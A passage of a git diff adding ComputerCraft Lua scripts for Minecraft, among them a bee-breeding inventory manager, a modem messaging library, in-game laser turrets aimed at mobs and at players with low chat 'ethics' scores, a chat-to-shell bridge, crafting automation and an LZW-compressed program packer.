if indexed_count % 100 == 0 then sleep() print(indexed_count, "bees indexed") end
end
end
print(indexed_count, "bees indexed")
print "Bee list preload initiating"
for inv, contents in pairs(index) do
for slot, bee in pairs(contents) do
insert_into_list(bee, inv, slot)
end
end
while true do
local modified_count = 0
for slot, info in pairs(peripheral.call(input_chest, "list")) do
if string.find(info.name, "drone") then
local meta = peripheral.call(input_chest, "getItemMeta", slot)
local invname, targslot = find_free_space()
if not invname then
printError "Bee store at capacity - initiating cleanup."
run_cleanup()
sleep(1)
else
local moved = peripheral.call(input_chest, "pushItems", invname, slot, 64, targslot)
if not moved then
printError "Bees nonmotile"
sleep(1)
else
data = { count = moved, name = meta.displayName, bee_data = meta.individual }
index[invname] = index[invname] or {}
index[invname][targslot] = data
modified_count = modified_count + 1
insert_into_list(data, invname, targslot)
end
end
elseif not string.find(info.name, "princess") then
peripheral.call(input_chest, "pushItems", bee_products_chest, slot)
end
end
print("Loaded", modified_count, "unique bees into stores")
modified_count = 0
for _, apiary in pairs(apiaries) do
local content = apiary.list()
if not content[1] then -- need princess
print "Loading princess"
local success = false
for slot, ccontent in pairs(peripheral.call(input_chest, "list")) do
if ccontent and string.find(ccontent.name, "princess") then
peripheral.call(input_chest, "pushItems", peripheral.getName(apiary), slot)
success = true
break
end
end
if not success then
printError "Insufficient princesses"
sleep(1)
end
end
if not content[2] then
print "Loading drone"
local bee = table.remove(bee_list)
if not bee then
printError "Drone not found"
sleep(1)
else
local moved = peripheral.call(bee[1], "pushItems", peripheral.getName(apiary), bee[2])
index[bee[1]][bee[2]].count = index[bee[1]][bee[2]].count - moved
if index[bee[1]][bee[2]].count == 0 then
index[bee[1]][bee[2]] = nil
end
modified_count = modified_count + 1
end
end
sleep(0.05)
end
print("Moved", modified_count, "drones")
end

97
computercraft/basenet.lua Normal file
View File

@ -0,0 +1,97 @@
local channel = settings.get "basenet.channel" or 23032
local modem = peripheral.find "modem"
if not modem then error "modem required" end
modem.open(channel)
local name = settings.get "basenet.name" or _G.basenet_name or error "name required"
local basenet = {
listening_to = {},
tasks = {}
}
function basenet.listen(fn, from)
if type(from) ~= "string" then error "from must be a string" end
basenet.listening_to[from] = true
basenet.run_task(function()
while true do
local _, ufrom, data = os.pullEvent "update"
if ufrom == from then
fn(data)
end
end
end)
end
function basenet.update(data)
modem.transmit(channel, channel, { type = "update", from = name, data = data })
end
local task_ID = 0
function basenet.run_task(fn, ...)
local args = {...}
task_ID = task_ID + 1
basenet.tasks[task_ID] = { coroutine = coroutine.create(fn), init_args = args, ID = task_ID }
os.queueEvent "dummy"
return task_ID
end
function basenet.interval(fn, time)
if not time then error "time required" end
basenet.run_task(function()
while true do
fn()
sleep(time)
end
end)
end
local function process_message(msg)
if msg.type == "update" and type(msg.from) == "string" then
if basenet.listening_to[msg.from] then
os.queueEvent("update", msg.from, msg.data)
end
end
end
basenet.run_task(function()
while true do
local _, _, c, rc, msg, distance = os.pullEvent "modem_message"
if c == channel and type(msg) == "table" then
process_message(msg)
end
end
end)
local function tick_task(task, evt)
if task.init_args then
local init = task.init_args
task.init_args = nil
local ok = tick_task(task, init)
if not ok then return end
end
if coroutine.status(task.coroutine) == "dead" then
basenet.tasks[task.ID] = nil
else
if task.filter == nil or task.filter == evt[1] then
local ok, result = coroutine.resume(task.coroutine, unpack(evt))
if ok then
task.filter = result
else
printError(("TASK %d ERROR: %s"):format(task.ID, result))
basenet.tasks[task.ID] = nil
end
return ok
end
end
end
function basenet.run()
while true do
local evt = {os.pullEvent()}
for ID, task in pairs(basenet.tasks) do
tick_task(task, evt)
end
end
end
return basenet

View File

@ -0,0 +1,97 @@
-- Minified CRC32 blob - MIT license - from here: https://raw.githubusercontent.com/davidm/lua-digest-crc32lua/master/lmod/digest/crc32lua.lua
do
local type=type;local require=require;local setmetatable=setmetatable;local a=bit.bxor;local b=bit.bnot;local c=bit.band;local d=bit.brshift;local e=0xEDB88320;local function f(g)local h={}local i=setmetatable({},h)function h:__index(j)local k=g(j)i[j]=k;return k end;return i end;local l=f(function(m)local n=m;for o=1,8 do local p=c(n,1)n=d(n,1)if p==1 then n=a(n,e)end end;return n end)local function q(r,n)n=b(n or 0)local s=d(n,8)local t=l[a(n%256,r)]return b(a(s,t))end;local function u(v,n)n=n or 0;for m=1,#v do n=q(v:byte(m),n)end;return n end;function crc32(v,n)if type(v)=='string'then return u(v,n)else return q(v,n)end end
end
local function get_byte(num, byte)
return bit.band(bit.brshift(num, byte * 8), 0xFF)
end
local function from_bytes(b)
local n = 0
for ix, byte in pairs(b) do
n = bit.bor(n, bit.blshift(byte, (ix - 1) * 8))
end
return n
end
local side = settings.get "bundlenet.side" or "back"
local function send_raw(str)
local i = 1
for i = 1, math.ceil(#str / 2) do
local first = str:byte(i * 2 - 1)
local second = str:byte(i * 2) or 0
local u16 = first * 256 + second
rs.setBundledOutput(side, u16)
sleep(0.1)
end
rs.setBundledOutput(side, 0)
end
local function receive_raw(length)
local str = ""
local count = 0
os.pullEvent "redstone"
while true do
local u16 = rs.getBundledInput(side)
local first = string.char(math.floor(u16 / 256))
if not length and first == "\0" then break
else
count = count + 1
str = str .. first
if count == length then break end
local second = string.char(u16 % 256)
if not length and second == "\0" then break
else
count = count + 1
str = str .. second
if count == length then break end
end
end
sleep(0.1)
end
return str
end
local function u32_to_string(u32)
return string.char(get_byte(u32, 0), get_byte(u32, 1), get_byte(u32, 2), get_byte(u32, 3))
end
local function string_to_u32(str)
return from_bytes{str:byte(1), str:byte(2), str:byte(3), str:byte(4)}
end
local function send(data)
local length = u32_to_string(#data)
local checksum = u32_to_string(crc32(data))
print("len", length, "checksum", checksum)
send_raw(length)
send_raw(checksum)
send_raw(data)
end
local function receive()
local length = receive_raw(4)
sleep(0.1)
local checksum = receive_raw(4)
print("len", length, "checksum", checksum, "l", string_to_u32(length), "c", string_to_u32(checksum))
sleep(0.1)
local data = receive_raw(string_to_u32(length))
if crc32(data) ~= string_to_u32(checksum) then return false, "checksum mismatch", data end
return true, data
end
local option = ...
if option == "send" then
write "Send: "
local text = read()
send(text)
elseif option == "raw_receive" then
print(receive_raw())
elseif option == "receive" then
print(receive())
end
return { send = send, receive = receive }

136
computercraft/cartdrone.lua Normal file
View File

@ -0,0 +1,136 @@
local kinetic = peripheral.find "plethora:kinetic"
local modem = peripheral.find "modem"
local laser = peripheral.find "plethora:laser"
local sensor = peripheral.find "plethora:sensor"
modem.open(70)
local p = true
local target = vector.new(gps.locate())
local function calc_yaw_pitch(v)
local pitch = -math.atan2(v.y, math.sqrt(v.x * v.x + v.z * v.z))
local yaw = math.atan2(-v.x, v.z)
return math.deg(yaw), math.deg(pitch)
end
local mob_names = { "Creeper", "Zombie", "Skeleton", "Blaze" }
local mob_lookup = {}
for _, mob in pairs(mob_names) do
mob_lookup[mob] = true
end
local function calc_distance(entity)
return math.sqrt(entity.x * entity.x + entity.y * entity.y + entity.z * entity.z)
end
local function sentry()
while true do
local mobs = sensor.sense()
local nearest
for _, mob in pairs(mobs) do
if mob_lookup[mob.name] then
mob.distance = calc_distance(mob)
if nearest == nil or mob.distance < nearest.distance then
nearest = mob
end
end
end
if nearest then
local y, p = calc_yaw_pitch(vector.new(nearest.x, nearest.y, nearest.z))
laser.fire(y, p, 0.5)
sleep(0.2)
else
sleep(0.5)
end
end
end
local function fly()
while true do
kinetic.launch(0,270,0.320)
sleep(0.2)
end
end
parallel.waitForAll(
fly,
function()
while true do
local current = vector.new(gps.locate())
local displacement = target - current
if displacement:length() > 0.1 then
displacement = displacement + vector.new(0, 0.3, 0)
local y, p = calc_yaw_pitch(displacement)
local pow = math.min(displacement:length() * 0.08, 2.0)
print(y, p, pow)
kinetic.launch(y, p, pow)
end
sleep(1)
end
end,
function()
while true do
event, side, frequency, replyFrequency, message, distance = os.pullEvent("modem_message")
if message == "up" then
target.y = target.y + 1
elseif message == "down" then
target.y = target.y - 1
elseif message == "north" then
target.z = target.z - 1
elseif message == "south" then
target.z = target.z + 1
elseif message == "west" then
target.x = target.x - 1
elseif message == "east" then
target.x = target.x + 1
end
end
end,
sentry
)
--[[
local xDev = tarX - x
local yDev = tarY - y
local zDev = tarZ - z
if yDev+0.1 < 0 then
local power = math.min(math.abs(yDev) / 6 ,0.1)
print(power, "down", y, tarY, power, yDev)
kinetic.launch(0,90, power)
end
if yDev-0.1 > 0 then
local power = math.min(math.abs(yDev) / 6 ,0.1)
print(power, "up", y, tarY, power, yDev)
kinetic.launch(0,270, power)
end
if xDev+0.1 < 0 then
local power = math.min(math.abs(xDev) / 8 ,0.33)
print(power, "west", x, tarX, power, xDev)
kinetic.launch(90,0, power)
sleep(0.1)
kinetic.launch(270,0, power * 0.75)
end
if xDev-0.1 > 0 then
local power = math.min(math.abs(xDev) / 8 ,0.33)
print(power, "east", x, tarX, power, xDev)
kinetic.launch(270,0, power)
sleep(0.1)
kinetic.launch(90,0, power * 0.75)
end
if zDev+0.1 < 0 then
local power = math.min(math.abs(zDev) / 8 ,0.33)
print(power, "north", z, tarZ, power, zDev)
kinetic.launch(180,0, power)
sleep(0.1)
kinetic.launch(0,0, power * 0.75)
end
if zDev-0.1 > 0 then
local power = math.min(math.abs(zDev) / 8 ,0.33)
print(power, "south", z, tarZ, power, zDev)
kinetic.launch(0,0, power)
sleep(0.1)
kinetic.launch(180,0, power * 0.75)
end
end
]]

64
computercraft/ccss.lua Normal file
View File

@ -0,0 +1,64 @@
--process.spawn(function() shell.run "ccss_player_positions_agent" end, "ccss_player_positions_agent")
process.spawn(function()
while true do
local game_time_start = os.epoch "utc"
sleep(1)
local game_time_end = os.epoch "utc"
local utc_elapsed_seconds = (game_time_end - game_time_start) / 1000
local tps = 20 / utc_elapsed_seconds
os.queueEvent("ccss_update", ("TPS is approximately %f"):format(tps))
end
end, "tpsmeter")
local palette = {
blue = 0x303289,
yellow = 0xedad15,
red = 0x8d2423,
magenta = 0xa43098,
green = 0x4a5b25,
lightBlue = 0x2587c5,
white = 0xffffff,
pink = 0xd06385
}
local function draw(street, sub, super, col)
local m = peripheral.find "monitor"
local w, h = m.getSize()
m.setBackgroundColor(colors.black)
m.setTextColor(colors.white)
m.clear()
m.setCursorPos(2, 1)
m.write(super)
bigfont.writeOn(m, 1, street, 2, 2)
m.setCursorPos(2, 5)
m.write(sub)
if col then
local c, p = colors[col], palette[col]
if p then
m.setPaletteColor(c, p)
end
m.setBackgroundColor(c)
for y = 1, h do
m.setCursorPos(w, y)
m.write " "
end
end
end
local street = settings.get "ccss.street"
local super = settings.get "ccss.super" or ""
if not street then
street = "Name Wanted"
super = "Submit your suggestions to gollark."
end
local col = settings.get "ccss.color"
print("Sign for", street, "running.")
local sub = ""
while true do
local ok, err = pcall(draw, street, sub, super, col)
if not ok then printError(err) end
local _, newsub = os.pullEvent "ccss_update"
sub = newsub
end

172
computercraft/cem2.lua Normal file
View File

@ -0,0 +1,172 @@
local M = peripheral.find"monitor"
assert(M,"no monitor")
os.loadAPI "ethics.lua"
M.setTextScale(0.5)
M.clear()
M.setCursorPos(1,1)
M.setTextColor(colors.red)
M.write("CHAT ETHICS MONITOR")
M.setCursorPos(1,2)
M.write("Version IIan (thanks ubq)")
local Mw,Mh = M.getSize()
local scorewidth=10
local lbw = 4+16+scorewidth
local wLog = window.create(M,1,12,Mw,Mh-11)
wLog.setBackgroundColor(colors.black)
wLog.setTextColor(colors.white)
wLog.clear()
wLog.setCursorBlink(true)
local wLb = window.create(M,Mw-lbw+1,1,lbw,11)
-- wLb.setBackgroundColor(colors.red)
-- wLb.clear()
-- wLb.write("LB")
-- utils
local function pad_r(s,width)
return string.rep(" ",width-#tostring(s))..s
end
local function pad_c(s,width)
local space = width-#tostring(s)
local hspace = math.floor(space/2)
return string.rep(" ",hspace)..s
end
local function round(n)
-- to nearest int
local f = math.floor(n)
if n>=f+0.5 then return math.ceil(n) else return f end
end
local function round_dp(n,dp)
local exp = 10^dp
return round(n*exp)/exp
end
local function sci(n)
if n == 0 then return n end
local x = math.abs(n)
local b = math.floor(math.log10(x))
local a = round_dp(x/10^b,2)
return (n<0 and "-" or "")..a.."e"..b
end
local function maybe_sci(x)
if #tostring(x) >= scorewidth then return sci(x) else return x end
end
local function isnan(x)
return x ~= x
end
-- drawing
-- lb
local function draw_lb(W,scores)
local w,h = W.getSize()
W.setBackgroundColor(colors.gray)
W.clear()
-- header
W.setTextColor(colors.lime)
W.setCursorPos(1,1)
W.write(pad_c("==[[ LEADERBOARD ]]==",lbw))
-- line numbers
W.setTextColor(colors.yellow)
for line=1,10 do
W.setCursorPos(1,line+1)
W.write(pad_r(line,2)..".")
end
-- actual scores
local thescores = {}
for name,score in pairs(scores) do
table.insert(thescores,{name=name,score=score})
end
table.sort(thescores,function(a,b) return a.score > b.score end)
for i=1,10 do
if not thescores[i] then break end
local name,score = thescores[i].name, thescores[i].score
-- name
W.setTextColor(colors.white)
W.setCursorPos(5,i+1)
W.write(name)
-- score
W.setTextColor(colors.red)
W.setCursorPos(w-scorewidth+1,i+1)
W.write(pad_r(maybe_sci(score),scorewidth))
end
end
-- logging
local function log_msg(W,user,text,score)
local w,h = W.getSize()
W.scroll(1)
W.setCursorPos(1,h)
local function st(c) W.setTextColor(c) end
local function wr(t) W.write(t) end
st(colors.white) wr"<" st(colors.orange) wr(user) st(colors.white) wr"> ("
st(colors.cyan) wr(score) st(colors.white) wr(") ") st(colors.lightGray)
local x,y = W.getCursorPos()
local remsp = w-x+1
if remsp >= 3 then
if #text > remsp then
text = text:sub(1,remsp-3).."..."
end
wr(text)
end
end
-- persistence
local function save_scores(scores)
local file,err = fs.open(".chatscores","w")
if err then error("fs.open "..err) end
file.write(textutils.serialize(scores))
file.flush()
file.close()
end
local function load_scores()
local file,err = fs.open(".chatscores","r")
if err then
print("fs.open "..err.." - resetting scores")
return {}
end
local c = file.readAll() or ""
file.close()
return textutils.unserialize(c) or {}
end
-- scoring
local function score(msg)
return ethics.ethicize(msg)
end
local userscores = setmetatable(load_scores(),{__index=function()return 0 end})
while true do
draw_lb(wLb,userscores)
local _,user,msg = os.pullEvent"chat"
local s = score(msg)
userscores[user] = userscores[user] + s
if isnan(userscores[user]) then userscores[user] = 0 end
save_scores(userscores)
log_msg(wLog,user,msg,s)
end

View File

@ -0,0 +1,138 @@
local monitor = peripheral.wrap "front"
local sensor = peripheral.wrap "right"
local laser = peripheral.wrap "left"
local get_ethics = require "/ethics"
local modem = peripheral.find "modem"
local targets = {}
local function scan()
local nearby = sensor.sense()
local ret = {}
for k, v in pairs(nearby) do
v.s = vector.new(v.x, v.y, v.z)
v.v = vector.new(v.motionX, v.motionY, v.motionZ)
v.distance = v.s:length()
if v.displayName == v.name then ret[v.name] = v end
end
return ret
end
local function enable_lasing(player)
targets[player] = os.epoch "utc"
modem.transmit(55, 55, { "lase", player })
end
local function calc_yaw_pitch(v)
local x, y, z = v.x, v.y, v.z
local pitch = -math.atan2(y, math.sqrt(x * x + z * z))
local yaw = math.atan2(-x, z)
return math.deg(yaw), math.deg(pitch)
end
local function vector_sqlength(self)
return self.x * self.x + self.y * self.y + self.z * self.z
end
local function project(line_start, line_dir, point)
local t = (point - line_start):dot(line_dir) / vector_sqlength(line_dir)
return line_start + line_dir * t, t
end
local function angles_to_axis(yaw, pitch)
return vector.new(
-math.sin(math.rad(yaw)) * math.cos(math.rad(pitch)),
-math.sin(math.rad(pitch)),
math.cos(math.rad(yaw)) * math.cos(math.rad(pitch))
)
end
local laser_origin = vector.new(0, 0, 0)
local function would_hit(beam_line, player, target_position)
local point, t = project(laser_origin, beam_line, player.s)
return t > 0 and (point - player.s):length() < 1.5 and player.s:length() < target_position:length()
end
local function lase(entity, others)
local target_location = entity.s - vector.new(0, 1, 0)
for i = 1, 5 do
target_location = entity.s + entity.v * (target_location:length() / 1.5)
end
local y, p = calc_yaw_pitch(target_location)
local line = angles_to_axis(y, p)
for _, other in pairs(others) do
if would_hit(line, other, target_location) then
--print("would hit", other.name)
return false
end
end
laser.fire(y, p, 1)
end
local function laser_defense()
while true do
local entities = scan()
local safe_entities = {}
local now = os.epoch "utc"
for _, entity in pairs(entities) do
local targeted_at = targets[entity.name]
if not targeted_at or targeted_at <= (now - 60000) then
table.insert(safe_entities, entity)
end
end
local action_taken = false
for _, entity in pairs(entities) do
local targeted_at = targets[entity.name]
if targeted_at and targeted_at > (now - 60000) then
lase(entity, safe_entities)
action_taken = true
end
end
if not action_taken then sleep(0.5) end
end
end
local function laser_commands()
modem.open(55)
while true do
local _, _, c, rc, m = os.pullEvent "modem_message"
if c == 55 and type(m) == "table" and m[1] == "lase" and type(m[2]) == "string" then
targets[m[2]] = os.epoch "utc"
end
end
end
term.redirect(monitor)
term.setCursorPos(1, 1)
term.setBackgroundColor(colors.black)
term.clear()
local function writeline(color, ...)
term.setTextColor(color)
print(...)
end
local function chat_listen()
while true do
local _, user, message, obj = os.pullEvent "chat"
local ethics_level = get_ethics(message)
local color = colors.white
if ethics_level < -2 then
color = colors.red
elseif ethics_level > 2 then
color = colors.lime
end
writeline(color, user, ethics_level)
modem.transmit(56, 56, { user, ethics_level, message })
local nearby = scan()
if nearby[user] and nearby[user].distance < 8 and ethics_level < -3 then
writeline(colors.red, "Countermeasures initiated.")
chatbox.tell(user, ("Hi %s and welcome to the GTech(tm) Apiaristics Division! Your recent message has an unacceptable ethics level of %d. The PIERB has preemptively approved countermeasures. Have a nice day!"):format(user, ethics_level))
enable_lasing(user)
end
end
end
parallel.waitForAll(laser_defense, chat_listen, laser_commands)

64
computercraft/chatwhy.lua Normal file
View File

@ -0,0 +1,64 @@
local cb = peripheral.find "chat_box"
local receiver = settings.get "cc2chat.receiver" or "gollark"
local rawterm = term.native()
local queue = ""
local redirect = {}
for k, v in pairs(rawterm) do redirect[k] = v end
function redirect.write(text)
queue = queue .. text
rawterm.write(text)
end
function redirect.setCursorPos(x, y)
local cx, cy = term.getCursorPos()
local dx, dy = x - cx, y - cy
if dx > 0 then
queue = queue .. (" "):rep(dx)
end
if dy > 0 then
queue = queue .. (" "):rep(dy)
end
rawterm.setCursorPos(x, y)
end
term.redirect(redirect)
local function evconvert()
while true do
local _, user, message = os.pullEvent "chat"
local raw = false
for x in message:gmatch "!(.*)" do message = x raw = true end
if user == receiver or settings.get "cc2chat.insecure" then
--[[for i = 1, #message do
local char = message:sub(i, i)
os.queueEvent("key", string.byte(char))
os.queueEvent("char", char)
end]]
os.queueEvent("paste", message)
if not raw then
os.queueEvent("key", 28) -- enter
end
end
end
end
local function sendbatch()
while true do
if #queue > 0 then
cb.tell(receiver, queue, os.getComputerLabel():sub(1, 16))
queue = ""
end
sleep(0.1)
end
end
parallel.waitForAll(
evconvert,
sendbatch,
function() shell.run "shell" end
)

View File

@ -0,0 +1,21 @@
function g64(tbl)
for i=1,#tbl do
local total = 0
repeat
local count = peripheral.call("front", "pushItems", "south", 1, 64, tbl[i])
if count == 0 then sleep(0.5) end
print(tbl[i], count)
total = total + count
until total == 64 or turtle.getItemCount(tbl[i]) == 64
end
end
local function push()
peripheral.call("top", "pullItems", "down", 4, 64, 1)
end
turtle.select(4)
while true do
g64 {1,2,3,5,6,7,9,10,11}
push()
while turtle.getItemCount(4) > 0 do sleep(0.5) push() end
turtle.craft()
end

View File

@ -0,0 +1,65 @@
local chest = "back"
local chest_to_turtle = "east"
local turtle_to_chest = "west"
local function sum_inv(i)
local out = {}
for _, v in pairs(i) do
out[v.name] = (out[v.name] or 0) + v.count
end
return out
end
local function clear_inv()
for i = 1, 16 do
peripheral.call(chest, "pullItems", turtle_to_chest, i)
end
end
local recipe = {
{"minecraft:sand", "minecraft:sand", "minecraft:sand"},
{"minecraft:sand", "minecraft:gravel", "minecraft:gravel"},
{"minecraft:gravel", "minecraft:gravel", "minecraft:dye"},
}
local reqs = {}
for y, row in pairs(recipe) do
for x, item in pairs(row) do
reqs[item] = (reqs[item] or 0) + 1
end
end
local function satisfied(reqs, by)
for req, qty in pairs(reqs) do
if qty > (by[req] or 0) then return false end
end
return true
end
local function move(what, to)
for slot, stack in pairs(peripheral.call(chest, "list")) do
if stack.name == what then peripheral.call(chest, "pushItems", chest_to_turtle, slot, 1, to) return end
end
end
while true do
local contents = peripheral.call(chest, "list")
local items = sum_inv(contents)
if satisfied(reqs, items) then
print "Requirements satisfied; crafting."
for y, row in pairs(recipe) do
for x, item in pairs(row) do
local tslot = ((y - 1) * 4) + x
move(item, tslot)
sleep()
end
end
turtle.select(1)
turtle.craft()
--turtle.dropDown()
repeat turtle.place() sleep()
until turtle.getItemCount() == 0
else
print "Not crafting; requirements not satisfied."
end
sleep(1)
end

448
computercraft/crane.lua Normal file
View File

@ -0,0 +1,448 @@
--[[
License for the LZW compression:
MIT License
Copyright (c) 2016 Rochet2
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
]]
local util_raw = [[
local function canonicalize(path)
return fs.combine(path, "")
end
local function segments(path)
if canonicalize(path) == "" then return {} end
local segs, rest = {}, path
repeat
table.insert(segs, 1, fs.getName(rest))
rest = fs.getDir(rest)
until rest == ""
return segs
end
local function slice(tab, start, end_)
return {table.unpack(tab, start, end_)}
end
local function compact_serialize(x)
local t = type(x)
if t == "number" then
return tostring(x)
elseif t == "string" then
return textutils.serialise(x)
elseif t == "table" then
local out = "{"
for k, v in pairs(x) do
out = out .. string.format("[%s]=%s,", compact_serialize(k), compact_serialize(v))
end
return out .. "}"
elseif t == "boolean" then
return tostring(x)
else
error("Unsupported type " .. t)
end
end
local function drop_last(t)
local clone = slice(t)
local length = #clone
local v = clone[length]
clone[length] = nil
return clone, v
end
]]
local util = loadstring(util_raw .. "\nreturn {segments = segments, slice = slice, drop_last = drop_last, compact_serialize = compact_serialize}")()
local runtime = util_raw .. [[
local savepath = ".crane-persistent/" .. fname
-- Simple string operations
local function starts_with(s, with)
return string.sub(s, 1, #with) == with
end
local function ends_with(s, with)
return string.sub(s, -#with, -1) == with
end
local function contains(s, subs)
return string.find(s, subs) ~= nil
end
local function copy_some_keys(keys)
return function(from)
local new = {}
for _, key_to_copy in pairs(keys) do
local x = from[key_to_copy]
if type(x) == "table" then
x = copy(x)
end
new[key_to_copy] = x
end
return new
end
end
local function find_path(image, path)
local focus = image
local path = path
if type(path) == "string" then path = segments(path) end
for _, seg in pairs(path) do
if type(focus) ~= "table" then error("Path segment " .. seg .. " is nonexistent or not a directory; full path " .. compact_serialize(path)) end
focus = focus[seg]
end
return focus
end
local function get_parent(image, path)
local init, last = drop_last(segments(path))
local parent = find_path(image, init) or image
return parent, last
end
-- magic from http://lua-users.org/wiki/SplitJoin
-- split string into lines
local function lines(str)
local t = {}
local function helper(line)
table.insert(t, line)
return ""
end
helper((str:gsub("(.-)\r?\n", helper)))
return t
end
local function make_read_handle(text, binary)
local lines = lines(text)
local h = {}
local line = 0
function h.close() end
if not binary then
function h.readLine() line = line + 1 return lines[line] end
function h.readAll() return text end
else
local remaining = text
function h.read()
local by = string.byte(remaining:sub(1, 1))
remaining = remaining:sub(2)
return by
end
end
return h
end
local function make_write_handle(writefn, binary)
local h = {}
function h.close() end
function h.flush() end
if not binary then
function h.write(t) return writefn(t) end
function h.writeLine(t) return writefn(t .. "\n") end
else
function h.write(b) return writefn(string.char(b)) end
end
return h
end
local function mount_image(i)
local options = i.options
local image = i.tree
local filesystem = copy_some_keys {"getName", "combine", "getDir"} (_G.fs)
function filesystem.getFreeSpace()
return math.huge -- well, it's in-memory...
end
function filesystem.exists(path)
return find_path(image, path) ~= nil
end
function filesystem.isDir(path)
return type(find_path(image, path)) == "table"
end
function filesystem.makeDir(path)
local p, n = get_parent(image, path)
p[n] = {}
end
function filesystem.delete(path)
local p, n = get_parent(image, path)
p[n] = nil
end
function filesystem.copy(from, to)
local pf, nf = get_parent(image, from)
local contents = pf[nf]
local pt, nt = get_parent(image, to)
pt[nt] = contents
end
function filesystem.move(from, to)
filesystem.copy(from, to)
local pf, nf = get_parent(image, from)
pf[nf] = nil
end
function filesystem.contents(path)
return find_path(image, path)
end
function filesystem.list(path)
local out = {}
local dir = find_path(image, path)
for k, v in pairs(dir) do table.insert(out, k) end
return out
end
function filesystem.open(path, mode)
local parent, childname = get_parent(image, path)
local node = parent[childname]
local is_binary = ends_with(mode, "b")
if starts_with(mode, "r") then
if type(node) ~= "string" then error(path .. ": not a file!") end
return make_read_handle(node, is_binary)
elseif starts_with(mode, "a") or starts_with(mode, "w") then
local function writer(str)
parent[childname] = parent[childname] .. str
if options.save_on_change then filesystem.save() end
end
if not starts_with(mode, "a") or node == nil then parent[childname] = "" end
return make_write_handle(writer, is_binary)
end
end
function filesystem.find(wildcard)
-- Taken from Harbor: https://github.com/hugeblank/harbor/blob/master/harbor.lua
-- Body donated to harbor by gollark, from PotatOS, and apparently indirectly from cclite:
-- From here: https://github.com/Sorroko/cclite/blob/62677542ed63bd4db212f83da1357cb953e82ce3/src/emulator/native_api.lua
local function recurse_spec(results, path, spec)
local segment = spec:match('([^/]*)'):gsub('/', '')
local pattern = '^' .. segment:gsub('[*]', '.+'):gsub('?', '.') .. '$'
if filesystem.isDir(path) then
for _, file in ipairs(filesystem.list(path)) do
if file:match(pattern) then
local f = filesystem.combine(path, file)
if filesystem.isDir(f) then
recurse_spec(results, f, spec:sub(#segment + 2))
end
if spec == segment then
table.insert(results, f)
end
end
end
end
end
local results = {}
recurse_spec(results, '', wildcard)
return results
end
function filesystem.getDrive()
return "crane-vfs-" .. fname
end
function filesystem.isReadOnly(path)
return false
end
local fo = fs.open
function filesystem.save()
local f = fo(savepath, "w")
f.write(compact_serialize(i))
f.close()
end
return filesystem
end
local function deepmerge(t1, t2)
local out = {}
for k, v in pairs(t1) do
local onother = t2[k]
if type(v) == "table" and type(onother) == "table" then
out[k] = deepmerge(v, onother)
else
out[k] = v
end
end
for k, v in pairs(t2) do
if not out[k] then
out[k] = v
end
end
return out
end
local cli_args = {...}
local f = fs.open("/rom/apis/io.lua", "r") -- bodge reloading IO library
local IO_API_code = f.readAll()
f.close()
local function load_API(code, env, name)
local e = setmetatable({}, { __index = env })
load(code, "@" .. name, "t", env)()
env[name] = e
end
local function replacement_require(path)
return dofile(path)
end
local function execute(image, filename)
local image = image
if fs.exists(savepath) then
local f = fs.open(savepath, "r")
image = deepmerge(image, textutils.unserialise(f.readAll()))
end
local f = mount_image(image)
local env = setmetatable({ fs = f, rawfs = _G.fs, require = replacement_require,
os = setmetatable({}, { __index = _ENV.os }), { __index = _ENV })
load_API(IO_API_code, env, "io")
local func, err = load(f.contents(filename), "@" .. filename, "t", env)
if err then error(err)
else
env.os.reboot = function() func() end
return func(unpack(cli_args))
end
end
]]
-- LZW Compressor
local a=string.char;local type=type;local b=string.sub;local c=table.concat;local d={}local e={}for f=0,255 do local g,h=a(f),a(f,0)d[g]=h;e[h]=g end;local function i(j,k,l,m)if l>=256 then l,m=0,m+1;if m>=256 then k={}m=1 end end;k[j]=a(l,m)l=l+1;return k,l,m end;local function compress(n)if type(n)~="string"then return nil,"string expected, got "..type(n)end;local o=#n;if o<=1 then return"u"..n end;local k={}local l,m=0,1;local p={"c"}local q=1;local r=2;local s=""for f=1,o do local t=b(n,f,f)local u=s..t;if not(d[u]or k[u])then local v=d[s]or k[s]if not v then return nil,"algorithm error, could not fetch word"end;p[r]=v;q=q+#v;r=r+1;if o<=q then return"u"..n end;k,l,m=i(u,k,l,m)s=t else s=u end end;p[r]=d[s]or k[s]q=q+#p[r]r=r+1;if o<=q then return"u"..n end;return c(p)end
local wrapper = [[local function y(b)local c="-"local d="__#"..math.random(0,10000)local e="\0";return b:gsub(c,d):gsub(e,c):gsub(d,e)end;local z="decompression failure; please redownload or contact developer";local a=string.char;local type=type;local b=string.sub;local c=table.concat;local d={}local e={}for f=0,255 do local g,h=a(f),a(f,0)d[g]=h;e[h]=g end;local function i(j,k,l,m)if l>=256 then l,m=0,m+1;if m>=256 then k={}m=1 end end;k[j]=a(l,m)l=l+1;return k,l,m end;local function n(j,k,l,m)if l>=256 then l,m=0,m+1;if m>=256 then k={}m=1 end end;k[a(l,m)]=j;l=l+1;return k,l,m end;local function dec(o)if type(o)~="string"then return nil,z end;if#o<1 then return nil,z end;local p=b(o,1,1)if p=="u"then return b(o,2)elseif p~="c"then return nil,z end;o=b(o,2)local q=#o;if q<2 then return nil,z end;local k={}local l,m=0,1;local r={}local s=1;local t=b(o,1,2)r[s]=e[t]or k[t]s=s+1;for f=3,q,2 do local u=b(o,f,f+1)local v=e[t]or k[t]if not v then return nil,z end;local w=e[u]or k[u]if w then r[s]=w;s=s+1;k,l,m=n(v..b(w,1,1),k,l,m)else local x=v..b(v,1,1)r[s]=x;s=s+1;k,l,m=n(x,k,l,m)end;t=u end;return c(r)end;local o,e=dec(y(%s));if e then error(e) end;load(o,"@loader","t",_ENV)(...)]]
local function encode_nuls(txt)
local replace = "\0"
